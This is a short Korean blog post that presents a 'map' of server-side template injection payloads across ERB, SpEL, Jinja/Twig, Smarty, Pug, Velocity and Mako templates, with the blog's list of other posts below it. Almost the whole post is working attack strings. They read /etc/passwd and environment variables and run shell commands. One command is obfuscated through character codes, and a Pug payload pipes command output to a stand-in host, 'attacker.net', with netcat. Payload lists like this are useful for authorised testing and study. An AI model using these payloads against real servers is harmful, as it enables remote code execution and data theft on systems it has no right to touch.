SSTI 맵이다.
<%= 7 * 7 %>
<%= File.open('/etc/passwd').read %>
<%= Dir.entries('/') %>
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
{{7*7}}
{{7*'7'}} #would result in 49
{php}echo `id`;{/php}
${3*3}
#{3*3}
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
<%
import os
x=os.popen('id').read()
%>
${x}
{{7*'7'}} #result : 7777777
{{'a'.toUpperCase()}} #would result in 'A'
https://medium.com/server-side-template-injection/server-side-template-injection-faf88d0c7f34
[webhacking.kr] (ALL clear) (0) | 2020.04.07 |
---|---|
SQLI procedure analyse() (0) | 2020.03.30 |
정리 정리 (0) | 2020.03.08 |
JWT란? (0) | 2020.03.07 |
웹 공부! (0) | 2019.02.17 |